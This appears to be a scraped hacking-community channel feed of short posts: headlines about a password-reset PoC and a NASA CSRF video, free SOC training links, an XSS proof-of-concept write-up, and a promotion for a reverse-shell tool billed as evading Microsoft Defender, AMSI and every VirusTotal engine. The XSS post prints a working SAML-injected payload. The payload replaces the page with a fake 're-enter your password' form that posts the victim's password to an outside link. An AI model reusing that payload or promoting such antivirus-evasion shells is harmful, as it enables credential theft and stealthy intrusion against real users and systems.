UNDERCODE COMMUNITY
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🦑 Undercode Cyber World!
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+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

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🦑How run the Password Reset Flaw | Live PoC - New method

Ref: Rohith S.
@UndercodeCommunity
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🦑 The Official NASA CSRF Vulnerability Video
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🦑 Leveling Up Our XSS Proof of Concepts at CybaVerse :

It's not uncommon to find a Cross-Site Scripting (XSS) vulnerability but at CybaVerse, we strive to go beyond basic alert(1) and demonstrate real-world impact with meaningful Proof of Concepts (POCs).

We recently encountered an XSS vulnerability within a SAML Sign-in flow — not your typical low-hanging fruit. Crafting a working payload took some finesse due to HTML encoding requirements. But with a bit of creativity, we managed to inject a script that could:
🔹 Manipulate the HTML to display a fake login prompt.
🔹 Capture user-entered passwords and send them to our server.

Even though traditional XSS exploits, such as session hijacking, bypassing CSRF protections, or performing authenticated user actions were mitigated by the application’s defences, this vulnerability still allowed us to:
🔹 Phish user credentials via a convincing fake prompt.
🔹 Demonstrate impact beyond simple alert pop-ups or redirects.

Here’s a snippet of the payload I crafted:

⚠️ <samlp:StatusCode Value="XSS POC&#39;;document.body.innerHTML=&#39;&lt;br&gt;&lt;h1&gt;Authentication failed, re-enter your password&lt;/h1&gt;&lt;br&gt;&lt;form action=&quot;//https://lnkd.in/ecG5926A&quot; method=&quot;post&quot;&gt;&lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&lt;br&gt;&lt;button type=&quot;submit&quot;&gt;Submit&lt;/button&gt;&lt;/form&gt;&#39;+document.body.innerHTML;&"/> ⚠️

The image below shows the entered password if someone fell for the prompt: “Authentication failed, re-enter your password.”

Our goal is always to provide actionable insights and impactful POCs to help clients understand the risks better.

Ref: Michael Jepson
@UndercodeCommunity
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🦑FREE 𝐒𝐎𝐂 𝐭𝐫𝐚𝐢𝐧𝐢𝐧𝐠𝐬:

Microsoft Security Operations Analyst:
https://lnkd.in/eKTXEmna

TryHackMe
SOC level 1: https://lnkd.in/enkunj-B
SOC level 2: https://lnkd.in/eg4znfJr

@UndercodeCommunity
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Wanna Bypass Detections ?
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🦑Bypass Virustotal detection

>> Narashima is designed to bypass both Microsoft Defender and AMSI, as well as every available AV software in VirusTotal, achieving a 0% detection rate and no high malicious behaviour rate.

This tool provides a reverse shell with unmatched stealth, making it an essential asset for cybersecurity professionals focused on security research, ethical hacking, and penetration testing.

💡 Key Highlights:

- Bypass Detection: Successfully bypasses Microsoft Defender, AMSI, and all available AV softwares with 0 detections including Google, SentinelOne, Kaspersky, Sophos.

- Zero Malicious Behavior Rate: Narashima operates without triggering any suspicious alerts.

>> Tested on : Win11 Pro

I’ve spent considerable time studying and implementing this obfuscation methodology and am thrilled with the results. Looking forward to collaborating with the community to enhance its capabilities further!

@UndercodeCommunity
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